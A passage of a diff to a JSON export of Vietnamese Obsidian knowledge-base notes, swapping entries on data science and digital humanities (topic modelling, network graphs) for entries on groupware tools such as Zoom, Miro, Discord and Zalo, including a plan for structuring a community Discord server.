(groupware)/Phần mềm gọi video/Zoom", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "<div class=\"deck-embed js-deck-embed\" style=\"aspect-ratio:1024/768;\" data-ratio=\"1.3333333333333333\" data-state=\"processed\"><div class=\"speakerdeck-embed\" data-title=\"false\" data-skip-resize=\"true\" data-id=\"87bb9f00ec1e01308020727faa1f9e72\" data-name=\"Remove to Improve (the data-ink ratio)\" data-ratio=\"1.3333333333333333\" data-host=\"speakerdeck.com\"></div></div>\n\n![data-ink.gif](https://images.squarespace-cdn.com/content/v1/56713bf4dc5cb41142f28d1f/1450306653111-70K5IT30R69NWPDIE1ZJ/data-ink.gif?format=2500w)\n> “Perfection is achieved not when there is nothing more to add, but when there is nothing left to take away” _– Antoine de Saint-Exupery_\n\nNguồn:: [Data looks better naked — Darkhorse Analytics | Edmonton, AB](https://www.darkhorseanalytics.com/blog/data-looks-better-naked/)\n[[Sự đơn giản ép ta phải làm nó cực kỳ tốt]]", + "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: Tối đa 45 phút khi có 3 thiết bị tham gia trở lên\nGiới hạn về mặt công nghệ:: \nƯu điểm::\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:24:00.000Z", - "id": "RY" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rm" }, { - "Tiêu đề": "Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích mạng lưới, lý thuyết đồ thị/Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút", + "Tiêu đề": "ExcaliDraw", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm minh hoạ cho nhóm/ExcaliDraw", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-28T04:12:00.000Z", - "Ngày cập nhật": "2024-09-02T07:24:00.000Z", - "id": "RZ" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rn" }, { - "Tiêu đề": "Concept map, knowledge graph", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích mạng lưới, lý thuyết đồ thị/Concept map, knowledge graph", + "Tiêu đề": "Miro", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm minh hoạ cho nhóm/Miro", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -28534,2415 +28765,5688 @@ }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T07:24:00.000Z", - "id": "Ra" + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Ro" }, { - "Tiêu đề": "Lý thuyết đồ thị", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích mạng lưới, lý thuyết đồ thị/Lý thuyết đồ thị", + "Tiêu đề": "Discord, Messenger và Telegram", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm xây dựng cộng đồng/Discord, Messenger và Telegram", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[Graphviz, Neo4j, Cytoscape]]", + "Toàn bộ nội dung": "| Discord | Messenger | Telegram |\n| -------------------------- | -------------- | -------- |\n| Server | Community | Group |\n| Text Channel/Forum Channel | Community Chat | Topic |\n| Channel Thread/Forum Post | Sidechat | ❌ |\n\nSidechat của cộng đồng Messenger tương đương với channel thread hoặc forum post trên Discord, nhưng có tính tạm thời hơn\n[[Server Discord]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T07:24:00.000Z", - "id": "Rb" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rp" }, { - "Tiêu đề": "70% thời gian chỉ là để làm sạch dữ liệu", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/70% thời gian chỉ là để làm sạch dữ liệu", + "Tiêu đề": "Group Facebook", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm xây dựng cộng đồng/Group Facebook", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "[[Cộng đồng trên Facebook là cộng đồng của Facebook]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-29T08:11:00.000Z", - "Ngày cập nhật": "2024-09-02T07:52:00.000Z", - "id": "Rc" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rq" }, { - "Tiêu đề": "Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra", + "Tiêu đề": "Group Zalo", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm xây dựng cộng đồng/Group Zalo", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![](https://youtu.be/ZYTXc2fK-JY)\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-30T07:31:00.000Z", - "Ngày cập nhật": "2024-09-02T07:52:00.000Z", - "id": "Rd" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rr" }, { - "Tiêu đề": "Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ", + "Tiêu đề": "Phần mềm xây dựng cộng đồng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm xây dựng cộng đồng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [A Complete Guide on Feature Extraction Techniques](https://www.analyticsvidhya.com/blog/2022/05/a-complete-guide-on-feature-extraction-techniques/)\r\n", + "Toàn bộ nội dung": "Discord:\n- Bot, API\n- Nhiều kênh chat\n- Thread, forum\n\nFacebook:\n- Nhiều kênh chat nhưng phải là group public\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-15T20:21:00.000Z", - "Ngày cập nhật": "2024-09-02T07:52:00.000Z", - "id": "Re" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-27T14:32:00.000Z", + "id": "Rs" }, { - "Tiêu đề": "Bản chất của mô hình chủ đề là tô màu cho văn bản và từ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Mô hình chủ đề. Nhân văn số/Bản chất của mô hình chủ đề là tô màu cho văn bản và từ", + "Tiêu đề": "Server Discord", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm xây dựng cộng đồng/Server Discord", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "1. Mỗi văn bản có càng ít màu càng tốt\n2. Mỗi từ có càng ít màu càng tốt\n\nVới mỗi từ chưa được tô màu, thuật toán Gibbs sẽ thống kê các màu đã được tô trước, sau đó chọi phi tiêu vào để lấy màu theo xác suất. Như vậy màu nào thoả điều kiện thì sẽ có xác suất to hơn, nhưng vẫn không loại trừ những cái nhỏ hơn\n\n![1](https://i.stack.imgur.com/BfTJjm.png)\n\nNguồn:: ![Training Latent Dirichlet Allocation: Gibbs Sampling](https://www.youtube.com/watch?v=BaM1uiCpj_E&t=452s)\n", + "Toàn bộ nội dung": "| Discord | Đặc điểm | Phù hợp cho | Cấu trúc dự án | Cách xác định |\n| ----------------- | ------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------- | ------------------------------------------------------------------------------ |\n| Category | | | Heading | |\n| Text channel | Tạo bởi người quản lý. Có thể chọn công khai hoặc riêng tư | Những dự án quan trọng. Dùng để bàn chiến lược, công việc, là những thứ tạo ra sản phẩm. Thấy có thể phân cấp tiếp. Đến từ nhu cầu tổ chức. Kết nối với các dự án, sản phẩm khác | Normal text | |\n| Thread | Người tham gia có thể tạo riêng từ đầu hoặc tách ra từ một tin nhắn từ kênh lớn | Các chủ đề hơi đi xa từ chủ đề chính | Bullet | |\n| Forum channel | Tạo bởi người quản lý. Có thể chọn công khai hoặc riêng tư | | List heading | |\n| Forum post | Người tham gia tạo riêng từ đầu, tất cả đều hoặc công khai hoặc riêng tư | Những cuộc thảo luận không quan trọng. Để hiểu thêm về quan điểm của nhau. Không thấy còn gì để phân cấp nữa mà chỉ thấy rẽ nhánh song song. Đến từ nhu cầu của bên ngoài | Bullet | Các chủ đề để thảo luận, các dự án giống nhau tập trung cho một cá nhân cụ thể |\n| Pinned forum post | | | Bullet | Thảo luận chung |\n\nanh nghĩ heading thì nên là channel group, normal text thì là channel, còn bullet thì là forum\nnhưng ví dụ như cái ⁠CKM là anh mới đẻ ra. Hiện tại thì nó chắc chỉ là thảo luận thôi nên là một topic forum thì tốt nhất. Nhưng sau đó có thể nó phát triển lớn hơn thì tách ra làm channel bình thường. Lúc đó thì nó sẽ có các thread riêng, chứ bên trong nó ko phải là forum nữa\n\nthread dành cho các thảo luận\n\n\n\n\n## A Vùng đất Quả Cầu\nA Đám mây chim sáo lông vàng\nA Hệ thống trao đổi thông tin và quản trị dữ liệu\n\n## B Mạng kết nối nhu cầu\nB Đáp ứng nhu cầu:\n- Ăn uống\n- Tiền bạc\n- Nơi họp\n\nB Sự kiện, cơ hội, tuyển dụng, rao vặt\nB Nền kinh tế không dùng tiền\n\n## C Quản lý dự án và công cụ nghĩ\nC Các buổi hỗ trợ người làm nghiên cứu, tự học lập trình hoặc quản lý dự án:\n- Cào web\n- Xử lý dữ liệu\n- Nhân văn số\n- Sắp chữ\n- Quản lý công việc, quản lý tổ chức\n- Quản lý và chia sẻ tri thức\n- Tiếp thị số\n\nC Quản lý thông tin, tri thức cho cộng đồng và hệ sinh thái\n- Vault Obsidian, quản lý dự án và công cụ nghĩ\n- Vault Tiếp thị số, xử lý dữ liệu và lập trình\n\nC Giải pháp phần mềm:\n- Tạo liên kết tiếp thị và báo cáo lượng truy cập\n- Tạo hạch toán kế toán và báo công nợ tự động\n\n## D Học kỹ năng, phát triển bản thân\nD Bước Chân\n\n## E Giải quyết sự bất lực học được\nE Mạng lưới người thân, bạn bè của người có niềm tin tiêu cực\nE Mạng lưới người thân, bạn bè của người gây tổn thương cho người khác\nE Mạng lưới người thân, bạn bè của người kiệt quệ vì nợ\nE Hỗ trợ cá nhân:\n- Dấu vết thiên di\n- Sea of Clover\n- Trấn Kỳ\n- Eve\n\n## F Niềm tin và đối thoại\nF Thảo luận các chủ đề:\n- Tự trị và can thiệp\n- Cái tốt, cái đẹp và cái thoải mái\n- Thế nào là một người bạn?\n- Lắng nghe và tò mò\n- Tâm linh và khoa học\n\nF Tạo môi trường thúc đẩy sự đối thoại và khoẻ mạnh:\n- Humane technology\n- Mạng lưới niềm tin\n- Nữ quyền và phát triển bền vững\n\nF Hỗ trợ người bị xem là crackpot:\n- CNVSS\n\n## G Nghiên cứu liên ngành\nG Bộ sưu tập từ điển chuyên ngành\nG Thảo luận các chủ đề:\n- Đạo đức, chính trị\n- Lý tính, khoa học, diễn ngôn\n- Triết học ngôn ngữ, triết học tinh thần và logic học\n- Khoa học sự sống, khoa học nhận thức, khoa học phức hợp\n- Vật lý và toán học:\n\t- Xu thế vận động của vật chất và nguyên lý tác dụng tối thiểu\n\t- Sóng, tần số, sự cộng hưởng và phép biến đổi Fourier\n\t- Sự đối xứng và lý thuyết nhóm\n\t- Điểm vô cực, hình học xạ ảnh và quả cầu Riemann\n- Lý thuyết về góc nhìn\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-03T04:28:00.000Z", - "Ngày cập nhật": "2024-09-02T07:52:00.000Z", - "id": "Rf" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Rt" }, { - "Tiêu đề": "Mô hình chủ đề rất hữu dụng cho việc diễn giải", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Mô hình chủ đề. Nhân văn số/Mô hình chủ đề rất hữu dụng cho việc diễn giải", + "Tiêu đề": "Tìm công cụ phù hợp", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Tìm công cụ phù hợp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Diễn giải, đọc]]\n\nWhat does this have to do with the humanities? Here is the rosy vision. A humanist imagines the kind of hidden structure that she wants to discover and embeds it in a model that generates her archive. The form of the structure is influenced by her theories and knowledge — time and geography, linguistic theory, literary theory, gender, author, politics, culture, history. With the model and the archive in place, she then runs an algorithm to estimate how the imagined hidden structure is realized in actual texts. Finally, she uses those estimates in subsequent study, trying to confirm her theories, forming new theories, and using the discovered structure as a lens for exploration. She discovers that her model falls short in several ways. She revises and repeats.\n\nNote that the statistical models are meant to help interpret and understand texts; it is still the scholar’s job to do the actual interpreting and understanding. A model of texts, built with a particular theory in mind, cannot provide evidence for the theory.[[5](https://journalofdigitalhumanities.org/2-1/topic-modeling-and-digital-humanities-by-david-m-blei/#topic-modeling-and-digital-humanities-by-david-m-blei-n-5)] (After all, the theory is built into the assumptions of the model.) Rather, the hope is that the model helps point us to such evidence. Using humanist texts to do humanist scholarship is the job of a humanist.\n\nIn summary, researchers in probabilistic modeling separate the essential activities of designing models and deriving their corresponding inference algorithms. The goal is for scholars and scientists to creatively design models with an intuitive language of components, and then for computer programs to derive and execute the corresponding inference algorithms with real data. The research process described above — where scholars interact with their archive through iterative statistical modeling — will be possible as this field matures.\n\nI reviewed the simple assumptions behind LDA and the potential for the larger field of probabilistic modeling in the humanities. Probabilistic models promise to give scholars a powerful language to articulate assumptions about their data and fast algorithms to compute with those assumptions on large archives. I hope for continued collaborations between humanists and computer scientists/statisticians. With such efforts, we can build the field of probabilistic modeling for the humanities, developing modeling components and algorithms that are tailored to humanistic questions about texts.\n\nNguồn:: [» Topic Modeling and Digital Humanities Journal of Digital Humanities](https://journalofdigitalhumanities.org/2-1/topic-modeling-and-digital-humanities-by-david-m-blei/)\n\nChính vì [[❓Nhân văn chỉ quan tâm đến việc lưu trữ, hiểu dữ liệu và tạo ra câu chuyện hay]], nên [[Nhân văn số sử dụng mô hình chủ đề rất nhiều]].\n\n[[Bản chất của mô hình chủ đề là tô màu cho văn bản và từ]]\n[[Topic modelling trong NLP dùng cho máy và cần tập dữ liệu lớn. Còn thematic analysis trong nhân học thì dành cho người, nhấn mạnh vào yếu tố thị giác]]\n", + "Toàn bộ nội dung": "# [Tool Finder: Productivity Tools Reviews, Guides & News](https://toolfinder.co/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-10T09:10:00.000Z", - "Ngày cập nhật": "2024-09-02T07:52:00.000Z", - "id": "Rg" + "Ngày tạo": "2023-07-01T07:03:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "Ru" }, { - "Tiêu đề": "Ngoài việc sử dụng mô hình chủ đề và tạo cơ sở dữ liệu, các dự án nhân văn số dường như không sử dụng các lĩnh vực khác của công nghệ thông tin", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Mô hình chủ đề. Nhân văn số/Ngoài việc sử dụng mô hình chủ đề và tạo cơ sở dữ liệu, các dự án nhân văn số dường như không sử dụng các lĩnh vực khác của công nghệ thông tin", + "Tiêu đề": "Airtable", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Airtable", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Nhân văn số sử dụng mô hình chủ đề rất nhiều]]\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-10T10:29:00.000Z", - "Ngày cập nhật": "2024-09-02T07:52:00.000Z", - "id": "Rh" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "Rv" }, { - "Tiêu đề": "Nhân văn số sử dụng mô hình chủ đề rất nhiều", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Mô hình chủ đề. Nhân văn số/Nhân văn số sử dụng mô hình chủ đề rất nhiều", + "Tiêu đề": "Fibery tập trung vào xử lý dữ liệu để ra quyết định và không chịu tập trung vào việc nhập liệu, markdown hay graphview, canvas", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Fibery tập trung vào xử lý dữ liệu để ra quyết định và không chịu tập trung vào việc nhập liệu, markdown hay graphview, canvas", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[❓Nhân văn chỉ quan tâm đến việc lưu trữ, hiểu dữ liệu và tạo ra câu chuyện hay]], [[Mô hình chủ đề rất hữu dụng cho việc diễn giải]]\n\nCác dự án nhân văn số dường như không sử dụng các lĩnh vực khác của công nghệ thông tin\n\n[[Topic modelling trong NLP dùng cho máy và cần tập dữ liệu lớn. Còn thematic analysis trong nhân học thì dành cho người, nhấn mạnh vào yếu tố thị giác]]\n[[Nhân văn số|Các dự án, công cụ, tài nguyên cho nhân văn số]]\n[[Bản chất của mô hình chủ đề là tô màu cho văn bản và từ]]", + "Toàn bộ nội dung": "Nguồn:: [[Kendy]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-31T06:36:00.000Z", - "Ngày cập nhật": "2024-09-02T07:52:00.000Z", - "id": "Ri" + "Ngày tạo": "2023-10-08T13:16:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "Rw" }, { - "Tiêu đề": "Các dự án, công cụ, tài nguyên cho nhân văn số", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Mô hình chủ đề. Nhân văn số/Nhân văn số", + "Tiêu đề": "Fibery", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Fibery", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Nhân văn số là một lĩnh vực giao thoa giữa ngành khoa học máy tính và các ngành khoa học xã hội và nhân văn.", - "Toàn bộ nội dung": "[Nhân văn số thức: Một lát cắt của xã hội toàn cầu - Tạp chí Tia sáng](https://tiasang.com.vn/khoa-hoc-cong-nghe/nhan-van-so-thuc-mot-lat-cat-cua-xa-hoi-toan-cau-11139/)\n\n## Dự án\n### Giáo dục số: [[Xây dựng hệ thống tri thức cộng đồng|Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?]]\nNhiều dự án nhân văn số rồi, nên chỉ tập trung vào các tài liệu giúp hướng dẫn một người tìm ra được dự án mình đang cần\n\n### Xã hội học số: [Đồ thị mạng lưới 100+ niềm tin](https://xn--qucu-hr5aza.cc/phan-tich-mot-mang-luoi-100-niem-tin/?utm_source=CV+%C2%BB+T%C3%A0i+nguy%C3%AAn+NLP+v%C3%A0+nh%C3%A2n+v%C4%83n+s%E1%BB%91&utm_medium=Ph%C3%A2n+t%C3%ADch+m%E1%BB%99t+m%E1%BA%A1ng+l%C6%B0%E1%BB%9Bi+100%2B+ni%E1%BB%81m+tin&utm_campaign=Giai+%C4%91o%E1%BA%A1n+2) \n![[Đồ thị 100+ niềm tin.gif]]\n\n### Văn hoá số: Các cuộc đối thoại đang được chia sẻ như thế nào? \nđối ⊷ thoại là một chương trình tạo liên kết UTM và rút gọn liên kết dành cho người Việt. Nó hướng đến việc:\n- [[Thử nghiệm các ý tưởng đối thoại với cộng đồng hiệu quả hơn]]\n- [[Chia sẻ kho kiến thức, tài nguyên đến với mọi người]]\n- [[Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng]]\n\nDữ liệu của nó là công khai.\n\n### Nghệ thuật số: Dòng chảy nghệ thuật ở Việt Nam\nHanoi Grapevine từ lúc sáng lập cho tới nay đã có được 2 TB dữ liệu về các sự kiện nghệ thuật ở Hà Nội. Tuy nhiên họ không có nhân lực để làm được gì với đống dữ liệu này. Mong muốn của họ là làm được một cái tương tự như [Tinh thần bằng hữu](http://www.spiritoffriendship.org/artists), một bản đồ khái quát hoạt động của ít nhất 20 nhóm nghệ sĩ thị giác trên khắp Việt Nam.\n\nTrong [các dự án nhân văn số về lịch sử nghệ thuật](http://imageresources.weebly.com/digital-humanities-projects.html \"Digital humanities projects - Digital Resources Guide\") thì có dự án [Inventing Abstraction](https://www.moma.org/interactives/exhibitions/2012/inventingabstraction) giúp sơ đồ hoá mối quan hệ giữa các nghệ sĩ, là có vẻ tham khảo được.\n![[Pasted image 20231111161912.png]]\n\nNếu nói chung về nhân văn số trong nghệ thuật, thì nổi tiếng nhất chắc là dự án [Google Arts & Culture](https://artsandculture.google.com/ \"Google Arts & Culture\"). Ai quan tâm có thể xem thêm bài giới thiệu của giám đốc dự án này trên TED: [Every piece of art you've ever wanted to see -- up close and searchable | Amit Sood](https://www.youtube.com/watch?v=cSpOCSVt--k \"Every piece of art you've ever wanted to see -- up close and searchable | Amit Sood - YouTube\"). \n\n### [WE1S – A 4Humanities Project](https://we1s.ucsb.edu/): tìm hiểu cách truyền thông nói về các ngành nhân văn\nDự án WhatEvery1Says (WE1S) sử dụng các phương pháp nhân văn kỹ thuật số để nghiên cứu các diễn ngôn truyền thông về nhân văn ở quy mô dữ liệu lớn. Dự án tập trung vào, nhưng không giới hạn, các bài báo báo chí ở Hoa Kỳ có sẵn ở dạng văn bản kỹ thuật số bắt đầu vào khoảng năm 1981. Các tài liệu khác bao gồm phương tiện truyền thông xã hội. Giả thuyết của dự án là các phương pháp kỹ thuật số có thể giúp chúng ta tìm hiểu những điều mới về cách nhân văn được miêu tả trong diễn ngôn công khai. \n\nMục tiêu cuối cùng của dự án WE1S là cung cấp cho những người ủng hộ nhân văn với các tài liệu và chiến lược dựa trên nghiên cứu để giao tiếp hiệu quả về giá trị của kiến thức nhân văn trong thế giới ngày nay với bằng chứng, lập luận, câu chuyện và kịch bản có thể dùng để thúc đẩy, thay vì đơn giản là phản ứng lại, đối thoại công khai (public conversation).\n\n- [Trang chủ dự án](https://we1s.ucsb.edu/ \"https://we1s.ucsb.edu/\")\n- [Tài liệu giới thiệu chi tiết](https://we1s.ucsb.edu/wp-content/uploads/WE1SIllustratedGuide.pdf)\n- [Kho Obsidian](https://publish.obsidian.md/we1s/WE1S) thể hiện mối liên hệ giữa các bộ sưu tập, phương pháp, công cụ, phát hiện và kêu gọi hành động/giao tiếp của dự án\n\n## Công cụ\n### [Qualitative Analysis Environment](https://axle.design/an-integrated-qualitative-analysis-environment-with-obsidian): kho Obsidian mẫu cho phân tích định tính\nMột vault Obsidian mẫu cho phân tích định tính. MaxQDA, NVivo, Atlas.ti, và các phần mềm tương tự tuy mạnh, nhưng lại phức tạp và tốn nhiều tiền. Nếu cần một cái đủ đơn giản và miễn phí thì có thể dùng cái này.\n\n### Mô hình chủ đề (topic modelling)\n[[Nhân văn số sử dụng mô hình chủ đề rất nhiều]]\n\n- [Topic modeling made just simple enough. – The Stone and the Shell](https://tedunderwood.com/2012/04/07/topic-modeling-made-just-simple-enough/)\n- [Topic Modeling for Humanists: A Guided Tour – the scottbot irregular](http://www.scottbot.net/HIAL/index.html@p=19113.html)\n- [The LDA Buffet is Now Open; or, Latent Dirichlet Allocation for English Majors Matthew L. Jockers](https://www.matthewjockers.net/2011/09/29/the-lda-buffet-is-now-open-or-latent-dirichlet-allocation-for-english-majors/)\n- [Topic Modeling](https://whatevery1says.github.io/workshops/topic-modeling/slideshow/index.html#/)\n\n### [Python Tutorials for Digital Humanities](https://www.youtube.com/@python-programming)\n![Python Tutorials Introduction to Youtube Channel Page - YouTube](https://www.youtube.com/watch?v=i4MneyaJPG4)\n\n### [Heurist Network](https://heuristnetwork.org/): quản lý cơ sở dữ liệu mã nguồn mở \n![Video](https://www.youtube.com/watch?v=wuh9SRtE8eE&width=640&height=480)\nHình 1: các tính năng. Hình 2: giao diện sử dụng. \n![](https://raw.githubusercontent.com/HeuristNetwork/heurist/h6dev/documentation_and_templates/assets/model%20and%20build.jpg) \n![](https://raw.githubusercontent.com/HeuristNetwork/heurist/h6dev/documentation_and_templates/assets/main%20interface%20v6.jpg) \nHEURIST is a research-driven data management system that puts _you_ in charge, allowing you to **design, populate, explore and publish** your own richly-structured database(s) within hours, through a simple web interface, without the need for programmers or consultants. We provide full support, including round-the clock email support, live workshops, online tutorials and access to a global network of Heurist users.\n\nHEURIST is agile. You can **build a capable database and a CMS website in a matter of hours**, starting with a simple design and building incrementally as needs change, modifying the live database on-the-fly. Use our free servers, which support hundreds of projects and are centrally maintained. It is easy to migrate data in and out of Heurist, because of its standard, open-source design, and its ability import and export common data formats.\n\nWant to get started with Heurist? Try our [Tutorials →](https://heuristnetwork.org/tutorials)\n\nHEURIST is flexible. It can **effectively store, analyse and publish a wide variety of Humanities data**, whether you’re a musicologist collecting songs, an archaeologist collecting objects, or a historian collecting events. HEURIST can handle everything: text, numbers, hierarchical classifications, images, video, spatial data and dates (including non-western and approximate dates). Rich relationships between records can be built with ease.\n\nWant to see how others use Heurist? See our [Featured Projects →](https://heuristnetwork.org/featured-projects)\n\nHEURIST gets results. You can **perform sophisticated filtering**, then **save, organise and publish the results** as interactive maps, timelines, network visualisations, cross-tabulations, lists, custom reports, and a range of export formats, all of which can easily be embedded live in a website created in Heurist’s internal CMS, or in a personal or institutional website.\n\n## Tài nguyên\n- [Digital Humanities Resources for Project Building](http://dhresourcesforprojectbuilding.pbworks.com)\n Tên gọi trước đây là Digital Humanities Toychest (rương đồ chơi cho nhân văn số).\n- [UC Davis DataLab Text and NLP Toolkit](https://ucdavisdatalab.github.io/research-toolkits/nlp_researcher_toolkit.html)\n- [Projects :: Digital Humanities @ Stanford](https://digitalhumanities.stanford.edu/projects/)\n\nNhu cầu công nghệ:: [[Hệ thống quản lý kiến thức]]\nGiải pháp kỹ thuật:: \n", + "Toàn bộ nội dung": "# 